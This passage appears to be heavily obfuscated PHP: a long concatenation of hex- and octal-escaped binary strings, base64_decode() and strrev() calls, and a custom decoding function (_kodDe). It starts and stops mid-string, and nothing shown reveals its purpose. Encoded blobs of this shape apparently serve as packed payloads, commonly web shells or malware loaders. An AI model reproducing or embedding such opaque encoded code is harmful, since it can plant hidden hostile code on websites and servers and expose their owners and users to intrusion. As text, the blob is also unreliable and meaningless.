βq')."\xcd\xbd\xde\x5e\x6f\xdd\x92\xe6\x1e\x9f\x7b\x4c\x75\x8f\x35\xb8\x17\xb8\xfb\x10\x8f\x5e\x3f\x13\x0\x7d\x1b\x9a\x5c\xb3\x37\xe1\xc\x28\xe3\x92\xe3\xfb\xd0\x4f\x4b\xef\x92\xe9\xbd\xee\x13\x4e\x5e\x77\x62\x4f\x6f"."\137\155\363\314\251\275\236\343\173\207\373\146\324\57\141\337\111\226\113\350\30\300\366\66\324\324\324\314\72\324\44\164\120\345\131\12\22\51\46\31\130\302\230\136\24\320\15\163\67\61\70\232\103"."\x2d\x23\x4a\xf4\xb8\x7b\x67\xf6\x2d\x91\xca\x49\x20\xe7\xb7\x10\x35\x45\x4c\x5f\x96\xe7\xf3\xb9\x4f\xc2\x3d\xe3\x45\xf1\x4a\x7\xfc\x28\x17\x92\x62\x43\xc4\x2b\xa1\x5f\xe5\x27\xbe\x4c\x41\x9c\xac\xac\x12\x97\x88"."\xe\x21\xec\x14\x34\x77\xc3\x74\xfa\xbb\x89\x4d\x64\x46\x1b\x61\xc4\xa0\x90\xd6\x19\x43\x55\x2e\xe8\x83\xec\x88\x53\xd0\x6\x21\x60\x58\x1c\xa3\x35\x6b\x58\x63\xe8\x81\xe0\xb6\x38\x42\xe\xb6\xf\xa0\x24\x29\x96".base64_decode('k/YNIr7iOMqRSS8m8GlvmMfQtgLzNAVym0m1qMWkHiYScV9rKJBgNAVoL4sTOtjK701Q1wQ=')."\15\145\24\101\22\115\21\121\21\254\165\163\60\247\20\122\100\217\131\315\344\12\311\54\27\361\211\111\101\63\216\306\126\101\34\234\322\262\130\241\103\16\345\22\362\4\24\371\111\10\313\66\371"."\x59\x3e\xa1\x8a\x93\x4\xe\x9\xb1\x34\x4d\xc1\x2\xa5\xa0\x24\x7e\x4e\x20\xf2\xca\x98\x17\x20\x36\xad\xbe\x58\xd0\x9f\xe8\xf2\xb1\x4d\xc\x6d\xf3\x5e\x33\x35\x60\x7a\xd5\x52\x32\x8b\xe\x93\x21\xbd\xdf\x8b\x45"."\262\370\342\310\303\205\226\260\233\46\261\260\40\241\366\243\256\60\311\106\31\113\366\30\72\21\222\11\360\242\100\40\23\35\224\330\121\305\133\327\333\133\356\321\122\175\75\150\135\252\356\164\337"."\206\131\233\352\231\170\307\333\213\376\260\210\257\312\135\113\102\265\330\214\161\102\235\130\32\210\173\360\200\161\351\272\55\302\223\151\324\50\361\223\117\321\46\172\260\14\113\315\331\252\210\143\10".base64_decode('o6GM2QNZM0XLkCCtmCeSrqsIpQ9z2S5n2aX7ElwiplkensMlJSZQ3HZ12FLDprWA1r1f2oU=').base64_decode('qbQ/RiQWtjsuU8Nz2l7O5SwuKMrpA/AFWNRw5eaGjWpmtaLo0MTkpjOgGTUzqmUMFgpGql8=')."\x5e\x13\x62\xff\x5f\xea\x43\x9c\x56\x5c\xa9\x63\xd7\x43\x4a\x30\xac\xb4\x46\x22\xa1\x80\x2f\xac\x60\x56\x3\xb6\x48\xc4\xc7\xc4\x2\x5d\x3e\xb4\xbf\x62\x9\x6c\x2c\x1e\x80\x1b\xab\x60\x9b\x9b\xd5\xbb\xda\xcd\xc4"."\57\74\240\303\260\33\105\172\354\101\150\237\63\30\225\263\13\160\360\331\321\205\305\50\56\314\366\270\120\253\135\170\31\271\304\311\334\45\156\135\134\103\272\66\114\2\374\324\354\202\303\264\113".base64_decode('yIwgGGxz6WYbEQqQD5Ak1gQriwXiOXXURZsT0oa0nItJk1ysjS4mQ3MR2VcbNKsbLSxoFgk=')."\x22\xf2\x9e\x75\x61\x4\xc2\xf8\xeb\x12\xf7\x40\x2e\x63\xb8\xa0\x95\x48\x16\x18\x18\x21\x4f\x70\x9\x59\x83\x2b\x53\x32\xca\xc5\x2e\xf6\x4d\x29\x46\x9b\x5\x0\xd1\x66\xe\x88\x1a\x86\xe5\x62\x62\x39\x97\x2c\x9f"."\x83\x56\xf8\xd8\x3a\xa9\x3a\x9c\xd5\x7b\x43\xc6\xdf\xd9\x8\xc0\x2f\x9c\x54\x39\x4a\x5f\x31\x59\x95\xf3\x61\x17\x4d\x6e\xa0\x35\x82\x1c\x76\x13\xdb\x8e\x6d\x79\x88\x88\x90\x33\xc6\x78\xc0\x45\x68\xa5\x58\xa8\xb8"."\x3\xed\x2a\xdc\x38\xd2\x6a\xe5\x30\x47\xd0\x82\x1d\x51\xc5\xb5\x8f\xb8\xec\x13\x6c\xb8\x53\x4a\xe4\xbc\x6\xc4\x1f\x45\x67\xbd\x98\xf4\x39\x4b\xcd\xb0\x6f\x61\x62\xc5\x4f\x82\x55\xb2\xd2\x70\x54\x4b\x8e\x26\x85"."\330\251\115\22\146\331\143\55\366\376\270\310\2\252\206\374\325\47\227\43\64\237\213\203\246\114\141\203\313\260\234\117\254\155\161\174\365\262\204\16\21\332\27\51\12\66\207\66\26\323\337\30\332"."\xab\xda\x73\x6c\x34\x9a\xe4\x64\xa0\xbc\x2e\x7b\xc\xaf\x2a\xf\xa1\xc4\xe4\x46\x3d\xc6\x5\x9d\xa1\x40\x7b\x5c\x59\x16\x41\x64\x4b\x37\x12\xb4\x4c\x2\x67\x56\xc8\x3f\x46\x41\xb1\xd5\xcd\x86\x4b\x69\x21\xe9\x22"."\256\26\122\24\262\16\221\370\165\55\65\354\43\65\266\342\2\77\354\215\160\261\250\122\211\161\170\270\345\101\300\170\100\272\57\266\45\6\212\210\135\260\14\274\251\152\302\271\20\213\211\41\244"."\61\230\230\132\31\41\45\72\43\0\254\135\266\357\342\250\130\114\14\45\24\374\1\227\304\115\141\132\342\26\313\102\212\332\207\334\201\221\216\275\23\17\121\227\136\30\325\13\61\35\213\75\234"."\120\261\375\212\335\37\257\152\21\243\130\71\131\230\356\36\130\366\101\353\167\301\225\265\13\163\102\322\316\54\104\256\250\365\204\35\313\333\256\77\52\133\16\25\111\131\304\10\300\102\6\214\317"."\xaa\x25\x31\x98\x8c\xfc\x60\x1a\xc0\xfb\x60\xe2\x2c\x22\x2a\x65\x4b\xab\x43\x82\x33\xb1\x95\x91\x88\x88\x69\x8d\xb2\xd6\xcb\x41\x7b\xa5\x34\xda\xe6\x22\xbf\x1d\xa8\xf1\xf2\x72\xe5\xd3\x53\x46\x2d\x67\x99\x28\xed"."\101\264\40\204\306\12\375\220\216\304\15\27\276\157\100\77\164\377\146\232\13\44\23\303\373\162\276\15\356\57\160\170\45\42\0\214\41\103\3\136\307\10\10\160\21\11\111\114\301\11\220\235\17".base64_decode('oC3xcbqOThQ5tI2VPHiNLMWbERsTSt5knItpqJ9QvaghVpEm5xbSRkznxb7AL+34EhPjK9Y=')."\123\106\64\10\17\147\242\262\35\30\203\253\307\333\113\6\347\152\371\226\356\314\344\47\347\133\256\200\342\330\206\245\361\260\261\16\25\40\251\214\223\211\160\100\35\121\314\130\124\331\150\240\231".strrev('d֚}0DhKMv'."\r".'J$+:,wD')."\xe8\x2b\x16\x45\xb3\x79\xfd\x26\x2a\x22\xd1\x6f\x3b\x5b\xc4\xea\x8c\x15\x55\x46\xb6\x15\xb7\xe2\xa8\x1\x9d\xc9\xe4\x6f\x72\x9e\x8e\x21\x3c\x39\x81\x94\x39\x40\x81\xeb\x58\xda\x6b\xd1\x25\xde\x56\x9a\x10\xe2\xc"."\61\246\54\201\224\156\141\10\136\252\6\273\333\22\31\305\346\352\54\54\342\62\265\47\233\126\5\332\210\323\206\153\272\55\247\235\303\0\340\14\302\15\170\4\103\124\135\3\53\151\24\1\227".base64_decode('JK3EvDGkSUB8zVgUKVKUJktJolIpF58K0iK0MlOEjRajQPJCWSIsoIvfg08dHpnE+0olhvo=')."\xb4\x9b\xf8\xa\x1c\x1\x65\x10\xa6\x9c\x31\xb6\x6e\xab\xed\x74\xb4\xf2\xc0\x90\xd0\x39\xa4\x55\xe1\xf\x7b\x28\xe1\xc0\xf7\xac\x11\xa6\xd3\x20\x87\x2b\xb3\xca\xa2\xd2\xea\x15\xc5\x84\xae\x81\x3d\x56\x3d\xbb\x2f"."\x97\x13\xda\x61\xce\xf8\xa4\x45\x28\xc1\x90\xb\xc9\x90\x49\x8b\xb5\x93\x3\x30\x13\x3f\x54\x83\xf1\xa3\xcf\xe4\xec\xbc\xf3\xbe\xdf\x4e\xe4\x27\xe7\x76\x26\x21\x8f\x62\x1a\xab\xc7\xd1\xbe\xee\xcf\xea\x5\x8d\xc9".base64_decode('k9J6yaxG7f4/s9WVI49XyGTogtMkoTrWfR7S5HMGlyMLUsU3/Ao2BlgJKZKwbNxYlNQvLSc=')."\x1b\x86\xa0\xe5\x4b\xc7\x3\x6f\x76\xc1\x88\xc7\x9c\x4\x67\x9d\xf9\xb8\x2a\xd\xa1\x89\x23\x7c\x8f\x96\xb\xe1\x24\x3c\x97\x72\xa5\x82\xfb\xfb\x92\xfc\xbc\x72\xc1\x9\xca\xf9\x10\xee\xe2\x84\xc9\xda\xca\x92\x79".base64_decode('LTfce8v7tz9Nw6ee/sijN75Lw/PnwZUk+m8/9B8JC+X3zat7jGOe/PbJ2ZPP/taTp11z5uw=')._kodDe('KMffdGHI6fDcyasTjCJXNAVxLrfjj7nDVQK/sWXs8xGQ7/Tsbuk9owW0hfWqpZUC/2fSzdjl')."\270\165\337\73\72\56\334\357\137\363\136\236\376\357\153\156\137\170\331\353\323\157\212\37\166\307\254\314\163\317\154\177\172\330\263\343\57\27\37\267\150\364\335\137\365\370\317\370\332\136\177\377\303"."\264\123\26\77\173\310\117\66\117\171\173\346\265\107\155\377\366\263\337\163\175\343\17\247\304\116\331\375\367\175\56\273\240\345\210\203\337\173\151\265\373\303\207\176\274\337\243\337\177\42\271\370\232"."\307\276\177\310\324\267\56\176\251\274\146\335\212\173\366\332\347\334\163\26\205\277\137\172\151\340\360\75\353\16\372\123\375\41\57\155\133\173\323\206\370\213\377\374\347\212\235\277\230\162\127\376\325"."\63\156\277\161\336\107\205\257\77\362\150\357\265\373\65\145\306\237\71\375\252\67\136\131\322\173\161\352\213\5\271\125\237\236\370\356\337\214\173\16\77\364\273\357\35\171\334\7\163\177\267\160\374".base64_decode('2iun7b942muxY8K3/2bH3KF/XbJyx5TGeXOXLxiYmZn+j2+md72wz6OnPOj9ZebiF5+96ZE=')."\xb9\xb7\xec\x3a\x28\xf8\xf3\xf4\xa7\xd7\xe9\x9f\xdd\x51\xd8\xf1\x9b\xd6\x43\xbe\x3b\x5e\x3a\xe1\x97\x3f\xec\x9\x84\x6f\x18\x3a\xec\x72\xff\x23\xcf\x5e\xb9\xf9\x89\x3\x3f\xd8\xb2\xe3\xac\x69\x97\x17\xf2\x47\x6d"."\151\277\365\156\267\265\375\263\43\232\337\353\130\33\376\360\370\145\137\237\337\260\140\147\353\233\177\60\217\152\275\275\351\264\47\356\76\255\363\27\375\377\170\354\317\207\115\34\172\372\101\247\236"."\372\101\244\261\161\303\336\207\273\16\261\366\135\174\133\356\217\57\236\171\167\356\240\303\76\172\370\260\271\267\266\236\75\355\326\143\236\74\142\103\60\67\367\274\227\356\250\161\77\161\335\206\227"."\174\33\303\177\270\360\350\163\56\270\172\337\334\113\127\155\150\75\144\135\363\256\337\35\347\273\341\365\13\247\76\371\256\32\112\156\256\77\365\226\367\174\372\371\337\124\156\271\340\120\365\350\251".base64_decode('i967/c7Hnlj8nfbUDXOOfe+1a+vvurc49lhv75O/vOS5w//ztt2P/zW8p7DPQe9ePv/EA40=')."\77\336\260\245\241\341\270\337\254\335\377\265\347\373\116\230\227\177\162\133\174\237\63\273\157\275\55\244\336\377\364\143\217\25\336\237\370\376\354\211\3\226\375\354\252\151\253\16\333\257\355\212\375".strrev('tw|S=i_|z~#lޖ8G#')."\xb7\xfe\x7c\xd7\xa1\x7\xd4\x6d\xfe\xd3\xf3\xcf\x36\x7e\x77\xfe\xd6\x5\x7b\x79\x9f\x3b\xf4\xdb\x6b\x37\x7d\xef\xb0\x7d\xd7\x3f\xaf\x5c\xe8\x89\xcd\xee\xf0\x9f\xe5\xf1\xce\xfe\xf6\x3e\x9f\x5e\x3d\x3e\xf5\xf4\xf3"."\x77\xf4\xde\x7d\xe2\x79\xf7\x1c\xdf\xbb\xf9\xc5\xa7\x7e\xd9\x3e\xb1\x4f\xc7\x9b\x6d\xaf\x2e\x5a\xf7\xf0\x19\xc7\x1f\x75\x76\xe7\xc8\x41\x2b\xce\x8b\x7c\x63\x75\xc3\x49\x37\xde\x73\xab\x7e\xf0\x5f\x4e\xfa\xb8\xeb"."\xc0\x3\xea\xef\x7c\xfd\xea\x13\xae\x79\x63\x9f\xbd\x97\x9d\xf3\xcc\x93\x35\xbf\xf8\xe9\xae\x7f\xdc\x36\xfb\x37\xdf\xbc\xe6\xb3\x11\x97\xef\x88\x8b\x7b\x3\x5b\xfe\xf8\x83\x43\x77\x1c\xb1\x3a\xf8\xcb\x53\x8e\xfe"."\174\354\234\357\254\335\176\372\363\157\375\370\233\103\157\375\150\367\342\130\64\162\220\373\326\307\365\244\353\0\365\346\360\271\107\117\177\153\277\251\313\236\137\361\141\327\61\307\134\63\367\57\227"."\334\331\36\370\340\222\317\66\374\261\256\143\143\372\242\53\66\134\161\305\223\135\63\257\333\263\341\341\343\334\337\354\127\32\67\267\275\320\265\361\341\331\335\257\254\333\170\335\256\275\77\333\365".base64_decode('1AvbfxJrf+GGvcx7xn6TfWc8ffuma+b9dvtQ9HcvbHhv6D9uXTf1D4fsrO+vGfha9D//frk=').base64_decode('99R7i0+9fdT+a+oP/0F51U9fOdF9xg8+HnxqP/2dBac/8e2LTz32/GNunr765BMuOeqNp6Y=')."\xdd\x73\xc7\xb6\xd2\x6b\x7b\xfd\x7a\xda\x33\xc7\x7e\xed\xbe\x35\x88\x7b\x7d\x65\xc3\x79\xd9\x23\x1b\xdb\x5f\xbd\x20\x7c\xde\xbb\x3d\xc9\x4d\x3d\x13\x8b\x8f\xfe\xeb\xf2\x63\x3a\x1f\x7f\xe0\x8e\xc7\xfa\xcf\xd9\xe7".base64_decode('T/du/f6VrbfNeihdPuPY72x7cGDbsR2/2Hv7WSd+/NBZ029OLX/6/U+83TtXzfzv7z2avW0=')."\xf0\xad\x27\x96\x3f\xf1\xb5\x53\x9f\x4a\xbd\x70\xcb\xf4\x17\x1f\xbc\xfa\xa4\xfd\xdf\x7a\xf7\x3b\x53\xdf\xfa\xaf\x6f\x74\x1c\x78\x82\xb1\xe5\xd1\x7d\x7f\x77\x89\xfe\xe8\x96\xb2\x7a\xf1\x9\xf\xad\xf8\xde\x1d\x57"."\276\336\65\363\311\317\343\213\227\144\127\375\375\117\47\105\142\233\216\76\365\310\151\37\75\370\300\311\17\355\370\144\375\337\117\332\371\312\267\16\77\357\224\167\237\372\336\153\131\175\323\221\115".base64_decode('Y9rO369/+Ypgx4e3eg7/evdFW2/Z+/mp3/FvvvuuU8ufpE9+9MT5h/3sxpZ7y+tO+9mnI7M=')."\xcf\x3f\xf2\xeb\xfb\x4f\x7b\x6a\x62\x99\xeb\x8b\x63\x7\xbf\xbf\xea\xe2\xe1\x9b\x66\xbe\xd5\x32\x3c\xe2\x7f\xf1\x60\xef\x49\x1f\x3e\x79\x9a\xb1\xb9\xfc\xf5\x3f\x84\x5b\xcf\x3c\x64\xdb\x94\xff\x7a\xe6\xf6\x2d\x1f"."\355\377\356\353\75\33\117\376\344\132\165\142\336\101\77\372\371\314\201\17\156\276\377\230\335\7\167\374\354\57\7\277\274\341\354\27\36\337\171\145\337\347\37\356\136\265\363\213\261\277\377\363\235".base64_decode('8auuOvmTzx9/+d1XP0g88MWfPx9f8tySscEPP014Eg/e+/m/vEf+44x/f/+j05d8/uEpv/8=')."\42\370\137\47\217\375\345\265\113\316\255\177\154\312\306\124\137\307\321\317\75\171\347\141\337\171\307\245\236\361\300\165\256\354\155\373\36\274\374\107\247\34\352\173\365\212\301\123\116\151\74\344\352".base64_decode('uw4/Nrr1vbuKCweebr/8N5mGly+fOeXIF7YfcO0fWoM1dz38wkWu42aM1x/x+pybfvXoMxs=').base64_decode('Zg5c8Erhpj//dHvHfZ8+8sSOS+98+fR/3bvSvWbiT9boC5uefHVpk2vBstu2vNxwyNi5jR8=').base64_decode('zbzoZ9uVf12U26vmxQMvzDS1bgm1r5z6yuLM154579TrA61d+z3y3Bnvnbfl8N1bf3uR6+c=').strrev('#|z[U3?Lsq<mcчYk')."\x1d\x58\xb8\x75\x67\xd7\x33\x47\xff\xed\x67\xb3\x16\x9c\x1c\x4a\xbf\xbb\xe0\xa6\xa3\xf\xbe\xf6\x80\x7b\x56\xdd\xdc\x72\xfd\xa1\x1f\x2f\x3f\x7a\xfe\xc2\x85\x2f\x9c\x56\xf8\xe9\xc2\xa7\x3f\xb8\xe3\x93\x5f\x9f\xbb"."\x7f\xa6\xe1\xb5\xf7\xe7\xfd\xee\xd2\x42\xcb\xd2\x3f\xef\xa9\x5b\x1a\x79\xff\xa6\xcc\xf6\x5f\x59\x73\xdf\x79\xef\x95\x7f\xde\xbb\xea\xe7\xab\xbe\xf9\x4c\x68\x57\xe9\xfd\x2f\xde\x98\x28\xfc\xfa\x9a\x7\x3c\xf\x65"."\76\233\370\355\237\227\335\160\322\121\217\137\31\125\343\333\236\130\172\133\120\255\175\354\333\27\265\230\237\236\161\347\362\113\376\276\365\207\267\374\342\37\57\174\143\233\377\362\35\47\256\336\151"."\54\71\340\272\207\347\235\375\336\212\65\367\364\35\337\273\172\123\344\245\345\203\277\377\354\363\343\247\115\71\256\346\255\55\357\136\336\175\262\276\365\352\310\336\67\134\262\177\352\272\277\344\133"."\xf\xd9\xfb\x9b\xb7\x66\x6e\x5d\x79\xd5\x9c\x69\xfb\x5d\xb5\xcf\x37\x8b\xa7\x2b\xaf\xdd\x7a\x57\x43\xf7\x82\x17\x3f\x3c\xeb\xbe\xdc\x27\x47\x74\x1c\xf0\x64\xe4\xd9\x1d\x77\x2f\x3a\xe7\xe9\xef\x36\x9d\xba\x2a\xbc"."\337\33\107\374\166\326\357\334\137\153\172\242\363\225\374\23\263\316\175\375\352\51\277\155\332\252\372\223\73\217\360\273\276\373\302\355\365\33\77\70\173\307\242\207\362\153\226\65\175\157\353\357\74"."\267\275\276\371\257\235\137\254\72\276\163\371\47\365\53\356\320\357\334\365\314\243\347\135\375\126\340\242\347\277\163\357\237\77\174\350\363\147\316\234\365\132\363\57\176\170\326\167\166\354\231\175\273"."\x3a\x63\xd6\xd4\xd3\x66\x7f\xbb\xfd\xe1\xfd\xb3\xef\xff\xee\xe4\x6d\xf\x84\x5f\x4f\x1d\xdc\x76\xd3\x15\x57\x7f\xf7\x89\x8e\xb9\x8d\xdb\xb7\x5e\xd7\xa3\x18\x85\xdd\xe7\xbe\x3b\x18\x5f\xb9\xd7\xd7\x8b\x6f\x25\xd6"."\xdc\xf8\xb7\xa6\x8e\xd4\x73\xa1\xb7\x57\xf7\xdc\xd9\x93\x1e\xbc\x65\xcd\x9c\x5d\xbd\xeb\x27\x3e\x3e\xe6\xc5\xcf\xee\xbb\xe7\x76\x8f\xbb\xe5\xc0\xd3\xe\x59\xbc\xf8\x8d\xa3\xdf\xf8\xf5\xe8\x8f\x14\xe3\xa8\xb\x3e"."\371\344\351\37\117\271\142\333\55\153\7\136\255\275\162\361\25\75\67\76\322\171\157\340\157\127\336\67\360\354\163\373\375\346\370\267\167\177\175\303\327\136\36\323\67\224\337\173\341\370\25\57\35".base64_decode('eeIHn3V8+vCuiXu/NnVNzbTmZ247eOMX+eX7f3rXo0t+dM8RH786fn/tZY/3Lt8/tOr9w48=')."\55\256\372\357\343\136\277\177\331\334\323\224\57\362\57\176\373\320\267\276\121\176\163\333\77\216\174\371\220\321\127\166\35\36\370\150\333\143\351\113\177\61\355\240\35\127\66\137\172\240\326\175\317".strrev('}_ٞ??{Z~ϧc{}I>/')."\331\277\377\71\367\363\177\175\34\271\154\347\332\265\47\177\374\302\247\73\377\143\370\213\167\236\274\354\315\317\337\373\363\233\127\375\373\223\167\275\43\153\216\172\371\363\175\137\171\356\277\225\206"."\xdd\x37\xbe\xf9\x37\x7d\x75\xa3\xf1\xfb\x7b\x3e\x3c\x24\xb1\x61\xf7\xbe\xea\xdf\x7e\xbc\xec\xce\x95\x6f\xbe\x3e\xf0\x97\xe3\x66\x1f\xda\xf3\x5e\xf8\xae\xeb\xfe\x7e\xc1\xf9\x91\xf7\x5f\xff\x8f\xbd\xe\x38\x73\xca"."\x4d\x6f\xfd\xf2\xe4\x45\xed\xe7\x6f\x79\x60\xca\x87\x7a\xb1\xf9\xc7\xcf\xfe\xba\xf4\xee\x31\x9f\x3e\x32\xb1\x72\xf0\xbe\x4b\xee\xf9\x9b\xff\xea\x1b\xfe\x7a\x69\xc7\x2f\x3e\x9f\x75\xe6\xf3\xdf\x1a\xd9\x76\xdc\x19"."\x1f\xae\xbe\x6b\xf5\x2d\x7b\xce\x3f\xd7\x3b\xf5\x57\xf\x6f\xbb\x75\x30\x7b\xe1\x3d\xcf\x9c\xf2\xfc\xd6\x99\xbb\xa6\x3c\xfa\xe1\xbf\xf7\x1a\xbd\xed\xaa\xbf\x7d\x74\x4\x7b\xbd\x37\x9c\x1e\x29\xe7\x6\xd9\x63\xa1".base64_decode('Um7EZNIiEADPbphDA4XsaCanwaFu9oIFNACJs+fOg8A8uAC1UkUtMwjyKdB1Sg+PpQo6yNY=')."\x98\x76\xd8\x80\xaa\x65\x92\x25\x93\x15\x7\xe8\x82\x46\x8\x58\x63\xf9\xf2\xf0\x20\xf0\x75\xf3\xe1\xab\xf0\x28\x6a\x7d\x26\x5d\x50\x75\x76\xc4\xcd\x8e\xad\xb7\xd8\xb\xa8\x39\xf3\xa1\xf8\xec\xd9\xd0\x8f\xa1\x61"."\103\37\110\347\331\151\73\333\77\64\14\21\265\140\16\346\55\250\45\235\52\214\250\31\70\254\64\261\132\106\164\153\54\75\312\44\303\375\143\43\126\231\75\177\33\66\212\375\31\30\225\371\254"."\x7d\xeb\x47\xcb\x6a\x41\x83\x2c\x7a\x76\x40\x1d\x66\x2a\xd2\xf9\xc1\xe4\x68\xb1\x34\x6\xa7\xa3\x51\xa3\x34\x9c\x82\xfb\xff\xfe\xc2\x20\x1a\x1e\x28\x93\x4b\x59\x63\xa5\x51\xe0\x84\x87\xca\x6a\x7f\x92\xbd\x8e\x49".base64_decode('q0MDY3kmcesvpE0VygwYyeJgHsSeC+bDhDTNBTXbxtnQuFRmbGjAgLrnLoDx0dAwp5kQOl8=').base64_decode('LKTXj+hsLGFKS6Yxsn4M5Nyz5oJ+QXFsIF+21sP5ZWx0aH0yzQ4zKT0zCkLkJjaher4fHUA=')."\231\160\67\123\36\311\352\60\34\353\123\352\200\66\310\344\155\146\336\52\44\313\200\173\351\162\266\177\0\262\65\66\300\227\207\123\271\244\226\206\16\317\236\5\375\114\15\47\207\262\43\120\160".base64_decode('Dpv+BbMgkMoXBwoZ0MoYXZ8spvJMZyK5PpMtMsljPmsM56BXc+fBF5ugksZGwMCBkeKwVYI=').base64_decode('CuY3QbbZ86EtpUxueH0e2j2rASZgPhuKebNh+cxlJcvmEBoEwJV5c2AO57I1OJrSiyq7tJ4=').base64_decode('u2Auaw0EBq3RbFGHoR0cTvaPmbCyswPD5kiSPakbG8yXmN7H3CYonE6ilZiDriyYAw3KpYs=')."\43\171\246\21\321\304\360\133\327\362\245\324\0\324\60\72\130\102\13\157\204\341\252\225\354\37\205\257\316\237\3\13\277\60\74\72\222\341\52\331\243\205\324\320\0\34\163\347\60\172\61\237\215"."\305\34\326\353\364\330\110\116\35\55\263\245\5\125\55\230\315\6\171\36\173\135\271\276\60\134\34\310\261\251\202\51\32\310\145\213\243\245\21\266\32\346\260\71\200\312\27\314\135\300\350\102\51"."\x9b\xcb\xc0\x4d\xfc\x9c\x46\x98\xb8\xa1\x74\xc1\x1c\x2e\xc1\xb2\x6e\x64\x64\x60\x70\xc4\x1a\x1b\x2a\x3\xd4\x18\xed\xcf\xe\xaf\x87\x6e\x2c\x60\x33\x34\xb0\xbe\x64\x19\x59\xa8\x6e\x16\x5b\x39\xf3\x58\xab\x9a\x9a"."\146\263\106\17\15\217\24\140\104\306\112\31\303\34\144\164\261\21\362\16\33\331\114\162\24\250\303\210\271\276\220\35\32\145\130\62\222\263\212\120\170\36\103\374\306\131\154\50\27\300\20\225\362".strrev('CԍSKzo*8SE+-k`h c)1@i>').base64_decode('hg1oGnujACNkCcUR0McGuJ7XhDCeXnmwkkJEgOUzkuoJjsbkWpIFS0pGMVtqTH5GAb3DLfQ=')."\310\275\136\223\147\352\352\125\256\116\101\212\154\232\303\106\51\305\210\160\52\231\63\312\51\133\255\251\176\117\225\221\244\75\251\226\222\166\302\271\46\225\250\320\366\46\200\301\154\243\326\117\146"."\x94\xab\x6d\xe1\x3f\xd0\x6e\xfa\x66\xda\xc4\x5a\xf9\xfc\x99\x1f\xbb\x78\xb3\xeb\x40\xd1\x3a\x3c\x6c\xba\xfa\x25\x24\xa1\x37\xd\x96\x6a\xe\x78\x64\xb0\x5b\x4e\xd5\xb\xa8\x17\xb9\x9c\xc7\xfe\xb6\x1e\x3f\x72\xef"."\356\112\304\175\261\345\222\222\44\176\204\155\153\112\105\357\304\124\112\343\52\317\250\175\44\30\306\354\331\171\337\370\5\333\46\56\275\145\142\353\315\343\367\136\274\347\346\133\306\37\270\24\105"."\xdf\xbe\xfb\xfc\xf1\x9b\xaf\x7c\xe7\x87\x9b\xdf\xbe\x7b\xeb\xdb\x77\x9f\xb2\xe7\xac\x3b\x3e\xb8\xff\xbc\xf1\xb\x76\xee\x39\xfd\x81\xf1\xed\xd7\x8f\xff\xe7\x59\x6f\xdf\xf7\xc0\x9e\x87\xce\xda\x7d\xfd\x96\xb7\xef"."\xbe\x69\x62\xfb\x39\xe3\x9b\x77\xbd\x7d\xdf\xb6\xf1\xb3\x7f\x32\x7e\xd6\x5\x13\x17\x6f\x7d\xfb\x81\xed\x28\xff\xc4\xd9\xa2\x66\x94\x6d\xfc\xa6\xcb\x71\xd9\xfb\x4f\x1b\xbf\xfb\xee\x3d\x57\x5f\xcf\x53\x3f\xb8\xff"."\x54\x58\xea\xb0\x6a\x97\x6a\x96\x12\x5b\x11\x62\x9a\x6f\x4\x4d\x95\xc5\xa\x20\xa8\x66\x7a\x94\xae\x9c\x86\x46\x4c\x21\x8a\x64\x58\x4d\xce\xca\x6a\x25\xc5\x22\xea\x72\x2a\xfa\x5b\x30\xa\x6e\x8a\x80\xd4\x2e\x80".base64_decode('qegFnKywsfZwJI1r+SJGNRglL30kbHtvIuFjtWGmCVWwC4+1mKs6HIR7RSyCVNIqAqSalTQ=')."\52\306\356\136\372\24\313\140\341\374\50\237\164\307\242\250\72\255\274\31\154\152\63\374\46\100\10\250\241\141\322\103\42\172\13\124\201\122\144\225\331\111\204\155\375\331\211\213\234\144\37\11\220"."\40\23\35\10\227\102\233\342\122\310\315\267\142\177\15\217\165\32\230\236\200\274\146\344\346\227\264\142\216\137\170\141\41\154\325\101\164\164\41\126\145\270\170\47\154\211\150\75\226\255\52\31\345".strrev('ڮ/"OmQH]rO-m3-%8'."\n".'.hd\'!%Q')."\x2d\x29\x66\x8b\xd8\xb4\x88\xb5\x70\x9\x3c\xc3\x60\xef\x7\xa5\x36\x40\x58\x3c\x83\x93\xa1\x39\xe7\xf5\x1d\x5f\x24\x6d\xad\x92\x81\xf\x9c\xad\xd9\xed\x76\x4b\x62\x66\xa1\x1b\x87\x43\x9\xd6\x31\xf2\x9e\x29\x96"."\x2d\x5b\x58\x5\x64\x69\xce\xe8\x67\x68\x22\xee\xc6\x51\xf6\x0\x5e\xdc\x93\xc1\xdb\xb8\xca\x8\x5a\xf5\x99\xc\xaa\xaf\x99\x3c\x34\x56\x66\x2a\xa8\xf\xf3\x3d\x8d\x28\x40\xd6\xc7\x1c\xcf\x3c\x14\x24\x83\x9\x6b"."\272\267\300\370\0\366\266\153\272\147\66\60\335\346\102\270\43\135\110\110\113\213\324\63\200\213\122\345\102\216\101\121\20\145\211\226\13\30\21\232\355\303\241\25\122\122\241\205\152\322\222\152\115".strrev('\\2qp6JiT'."\n".'L!yc핁À4IK]"Ԩb=a').base64_decode('X1LUkrGhiDa9Ate7NXMquyE18aubgsZRs2zySxysQp9AWz3b1BAaJ1I6JIaCrYm2IOhj+ro=')."\202\211\130\54\42\151\22\303\53\242\345\221\266\204\77\22\131\36\4\364\153\226\310\41\176\77\52\156\306\161\114\274\43\305\227\104\262\126\234\314\177\140\263\44\170\117\215\51\240\75\212\20\334".base64_decode('3+GL8scFczwNnkaRF30wgV9VtDBbB7G4L1rFOA01WgNDDYZqoEBHZJXij4S6O8MxapOFwsM=')."\x11\x29\x9d\xa8\x90\x43\x32\x33\x5d\x53\x99\xc\xd5\x7\xba\x42\x3e\x7f\x40\x9\x86\xe3\x11\xf6\x2a\x84\x2b\xc7\x92\xf7\x40\x31\x1e\x67\x43\x50\x32\x35\x6e\x9a\x6\xca\xd3\x88\xfc\x66\x49\xae\x91\xd7\x4\xc8\xd9".base64_decode('46rtremd0VvXW7/O02v2eaUNSpenByJdbdC9Zh5KmbAsO2NoZ6fBSNTnD7GmtPpiEIz4gzQ=').base64_decode('sPuSW9++9/zdP7p5/JytqKKJK06buGwX4kcwD3LzebsfPH/ikp0T5wHvoOzZedfbDzy0+5I=')."\353\307\157\276\174\142\333\75\273\257\70\203\46\274\163\303\255\343\347\136\317\33\246\274\163\361\203\23\347\377\224\363\45\224\35\161\241\322\357\154\336\272\373\201\233\61\127\262\343\224\211\73\267"."\114\154\337\72\176\356\325\343\77\274\176\367\371\73\307\257\71\175\374\314\255\173\166\136\72\325\211\110\64\336\303\246\2\236\260\173\327\142\363\3\164\170\173\315\231\170\150\353\321\157\35\176\162"."\x82\x7e\x99\x6a\